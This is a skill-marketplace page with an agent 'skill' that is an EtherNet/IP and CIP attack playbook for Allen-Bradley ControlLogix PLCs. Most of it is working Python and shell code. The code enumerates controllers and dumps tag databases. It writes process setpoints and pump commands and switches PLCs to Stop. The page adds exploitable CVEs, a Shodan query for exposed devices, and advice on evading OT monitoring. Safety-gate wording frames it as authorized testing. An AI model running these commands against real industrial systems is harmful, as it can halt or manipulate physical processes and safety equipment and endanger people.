# Enip Cip

> EtherNet/IP + CIP (TCP 44818 / UDP 2222) attack playbook — List Identity broadcast, pylogix tag-database dump, tag read/write on Allen-Bradley ControlLogix/CompactLogix, CIP Forward Open, PLC mode change (Stop/Run), and historical Rockwell auth-bypass CVEs. North American ICS dominant protocol.

- Skill: `purpleailab/enip-cip` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/enip-cip`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/enip-cip/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/enip-cip

---


# EtherNet/IP + CIP Attack Playbook (TCP 44818 / UDP 2222)

EtherNet/IP is the dominant North American ICS protocol — every Allen-Bradley ControlLogix, CompactLogix, and MicroLogix ships with it enabled by default. CIP (Common Industrial Protocol) rides on top. Most deployments have no authentication at the CIP layer: if you can reach TCP 44818, you can read the full tag database and, in scope, write to process variables or change PLC execution state.

## SAFETY FIRST

CIP write operations (`Write()` on tags) and mode-change commands (`Stop`, `Run`, `Reset`) affect physical process equipment. A mode-change to `Stop` immediately halts the PLC program — the controlled process (conveyor, motor, pump, valve) goes to its fail-safe state or de-energizes. **Confirm written scope authorization for any write/control-class operation. Read and enumerate operations (tag list, controller info, identity) are safe.**

## Prerequisites

```bash
# Install pylogix (Allen-Bradley EtherNet/IP client)
pip install pylogix

# Install cpppo (Rockwell EtherNet/IP / CIP toolkit)
pip install cpppo

# nmap EtherNet/IP scripts
# Built-in: enip-info.nse (ships with Nmap >= 7.80)
nmap -p 44818 --open -sV 10.0.0.0/24
```

## Phase 1 — Discover

### UDP 2222 List Identity broadcast

UDP 2222 carries the ENIP "List Identity" command — no session, no authentication. Send a broadcast and all EtherNet/IP devices on the subnet respond with vendor, product name, serial number, firmware revision, and IP.

```bash
# Using cpppo enip command-line
python3 -m cpppo.server.enip.list_identity 10.0.0.255
# Or unicast:
python3 -m cpppo.server.enip.list_identity 10.0.0.5

# Example output:
# {'product_name': 'ControlLogix5580', 'vendor_id': 1, 'device_type': 14,
#  'product_code': 166, 'revision': {'major': 33, 'minor': 11},
#  'serial_number': '0xA1B2C3D4', 'status': 12340}
```

```bash
# nmap enip-info script (TCP 44818)
nmap -p 44818 --script enip-info 10.0.0.5
# Returns: VendorID, DeviceType, ProductCode, Revision, Serial, ProductName, State
```

```python
# pylogix PLC info — TCP 44818
from pylogix import PLC

with PLC() as comm:
    comm.IPAddress = "10.0.0.5"
    info = comm.GetPLCTime()
    print("PLC time:", info.Value)
    props = comm.GetModuleProperties(0)
    print("Module:", props.Value)
```

## Phase 2 — Tag database enumeration (unauthenticated on ControlLogix/CompactLogix)

ControlLogix and CompactLogix expose the entire controller tag database via CIP symbolic segment reads — no authentication required. This includes tag names, data types, dimensions, and access attributes.

```python
from pylogix import PLC

with PLC() as comm:
    comm.IPAddress = "10.0.0.5"

    # Enumerate all controller-scoped tags
    tags = comm.GetTagList()
    print(f"[*] Found {len(tags.Value)} controller tags")
    for tag in tags.Value:
        print(f"  {tag.TagName:<40} Type={tag.DataType:<20} Dim={tag.Dimensions}")

    # Enumerate program-scoped tags (programs inside the controller)
    programs = comm.GetProgramList()
    for prog in programs.Value:
        prog_tags = comm.GetProgramTagList(prog)
        print(f"\n[*] Program '{prog}': {len(prog_tags.Value)} tags")
        for tag in prog_tags.Value:
            print(f"  {prog}:{tag.TagName:<36} Type={tag.DataType}")
```

Tag names are often self-describing in production environments:
- `PumpStation_1.RunCmd` — pump run command coil
- `Valve_FV_101.OpenCmd` — valve open command
- `Reactor_TIC_201.SP` — temperature setpoint
- `Safety_SIL2.BypassActive` — safety interlock bypass flag

## Phase 3 — Read tags

```python
from pylogix import PLC

with PLC() as comm:
    comm.IPAddress = "10.0.0.5"

    # Read a single tag
    result = comm.Read("PumpStation_1.RunCmd")
    print(f"PumpStation_1.RunCmd = {result.Value}  (Status: {result.Status})")

    # Read multiple tags in one request (efficient)
    tag_list = [
        "Reactor_TIC_201.SP",
        "Reactor_TIC_201.PV",
        "Valve_FV_101.OpenCmd",
        "Safety_SIL2.BypassActive",
    ]
    results = comm.Read(tag_list)
    for r in results:
        print(f"  {r.TagName} = {r.Value}  Status={r.Status}")

    # Read array elements
    array_result = comm.Read("RecipeArray[0]", 10)  # read 10 elements from index 0
    print("Recipe[0:10]:", array_result.Value)
```

## Phase 4 — Write tags (SAFETY GATE — write-class authorization required)

> **STOP. Confirm written scope authorization before this phase.**
> Writing process control tags may energize/de-energize actuators immediately.

```python
from pylogix import PLC

# Write a BOOL tag
with PLC() as comm:
    comm.IPAddress = "10.0.0.5"

    # Example: write a setpoint — requires authorization
    result = comm.Write("Reactor_TIC_201.SP", 85.0)
    print(f"Write SP: {result.Status}")

    # Example: write a BOOL control tag — requires authorization
    result = comm.Write("PumpStation_1.RunCmd", 1)
    print(f"Write RunCmd: {result.Status}")
```

Write status codes: `Success` = write accepted by PLC; `PathSegmentError` = bad tag name; `ServiceError` = PLC in Program mode or inhibited.

## Phase 5 — CIP mode change: Stop / Run / Reset

Mode change via CIP is a direct PLC execution-state change. Stop halts the ladder/function-block program. Reset is a cold restart.

```python
import cpppo
from cpppo.server.enip import client

# CIP explicit messaging to change PLC mode
# Rockwell ControlLogix CIP Service 0x0F (Set Attribute Single)
# Object: 0x01 (Identity Object), Instance 1, Attribute 10 (Controller State)
# Mode: 0x01 = Run, 0x02 = Program (Stop)

def set_plc_mode(ip, mode_val, port=44818):
    """
    mode_val: 0x01 = Run, 0x02 = Program (effectively Stop)
    Requires write-class scope authorization.
    """
    operations = [
        {
            "method": "set_attribute_single",
            "path": "@0x01/1/10",
            "data": [mode_val],
        }
    ]
    with client.connector(host=ip, port=port) as conn:
        for op in operations:
            conn.set_attribute_single(
                path=op["path"],
                data=op["data"],
            )
        conn.collect(timeout=2)
        print(f"Mode change to {mode_val:#04x} sent")

# set_plc_mode("10.0.0.5", 0x02)   # Stop (Program mode) — halts PLC program
# set_plc_mode("10.0.0.5", 0x01)   # Run
```

Alternatively, pylogix provides a direct wrapper:

```python
with PLC() as comm:
    comm.IPAddress = "10.0.0.5"
    # Some pylogix versions expose:
    comm.GetPLCTime()  # verify connectivity first
    # comm.Write("_RunMode", 0)  # vendor-specific; verify tag exists first
```

## Phase 6 — Historical Rockwell auth-bypass CVEs

| CVE | Product | Description | CVSS |
|---|---|---|---|
| CVE-2021-27478 | Studio 5000 Logix Designer | Unauth remote code execution via CIP messaging | 10.0 |
| CVE-2022-1159 | Rockwell Automation FactoryTalk | Executable injection via DLL hijack path | 7.7 |
| CVE-2023-3595 | ControlLogix 1756 (firmware <= 33.011) | Path traversal in CIP service; unauthenticated firmware read/write | 9.8 |
| CVE-2023-3596 | GuardLogix 1756 | Same family — safety controller variant | 9.8 |
| CVE-2024-6242 | ControlLogix 1756 | CIP Trusted Slot mechanism bypass — pivot between chassis slots | 8.4 |

CVE-2023-3595 / 3596 (Claroty "LogiSploit") is the most relevant for live engagements — unauthenticated firmware upload/download against unpatched ControlLogix. Patch check:

```python
# Firmware version from pylogix
with PLC() as comm:
    comm.IPAddress = "10.0.0.5"
    props = comm.GetModuleProperties(0)
    print("Firmware:", props.Value)
    # Compare against Rockwell Security Advisory RLSA-2023-0026
    # Affected: < v33.012 (1756-EN2* family)
```

## Common findings

| Finding | MITRE | Impact |
|---|---|---|
| Internet-exposed EtherNet/IP (Shodan: port:44818) | T0882 | Direct PLC access from internet |
| No CIP authentication — tag list readable | T0855 | Full process variable visibility |
| Tag write accepted without auth | T0836 | Direct process manipulation |
| PLC mode change accepted (Stop) | T0816 | Halt production line |
| Flat IT/OT VLAN — office → PLC direct | T0814 | Lateral movement from compromised workstation |
| Unpatched ControlLogix (CVE-2023-3595) | T0839 | Firmware read/write, persistent implant |
| Safety PLC (GuardLogix) reachable | T0857 | Safety system manipulation |

## Evidence

```python
kg_add_node(
    kind="finding",
    label="EtherNet/IP unauthenticated tag access",
    props={
        "key": f"enip-cip-anon::{target_ip}",
        "protocol": "enip-cip",
        "port": 44818,
        "product_name": "<ProductName>",
        "firmware_revision": "<major.minor>",
        "tag_count": len(tags.Value),
        "writable": False,  # set True only after confirmed write-scope
        "source": "pylogix-taglist",
    },
)
```

## ZFP (two-method evidence)

1. `pylogix GetTagList()` output showing tag count + representative tag names with data types.
2. `pylogix Read()` result for at least one process variable showing a live value (e.g., temperature, pressure, motor state).

If write testing was authorized: include `Write()` result showing `Status=Success` and a Read back confirming value change.

## OPSEC notes

- EtherNet/IP has no built-in audit log at the CIP layer. Tag reads are silent to most OT security platforms unless a Nozomi/Claroty NDR is deployed with flow-level inspection.
- High-frequency polling (e.g., reading all tags in a tight loop) is detectable as anomalous traffic volume. Space enumeration reads out.
- Mode-change commands (Stop/Program) generate an event in the PLC's event log (RSLogix Diagnostics > General Fault). This persists across power cycles.
- Shodan regularly indexes internet-facing EtherNet/IP; pre-engagement Shodan search for the target's IP space can reveal exposure level before active scanning.
- CVE-2023-3595 exploit PoC (Claroty): confirm firmware version before using; firmware write is destructive and may brick the controller.

## References

- pylogix — github.com/dmroeder/pylogix
- cpppo — github.com/pjkundert/cpppo
- ODVA EtherNet/IP and CIP Specifications — odva.org
- Claroty Team82 "LogiSploit" (CVE-2023-3595/3596) — claroty.com/team82
- CVE-2024-6242 Rockwell Trusted Slot bypass — icsadvisory.ot-security.io
- ICS-CERT Rockwell advisories — cisa.gov/uscert/ics/advisories
- "Exploiting Industrial Control Systems" — Reid Wightman, S4 Conference
- Shodan dork reference — https://www.shodan.io/search?query=port%3A44818

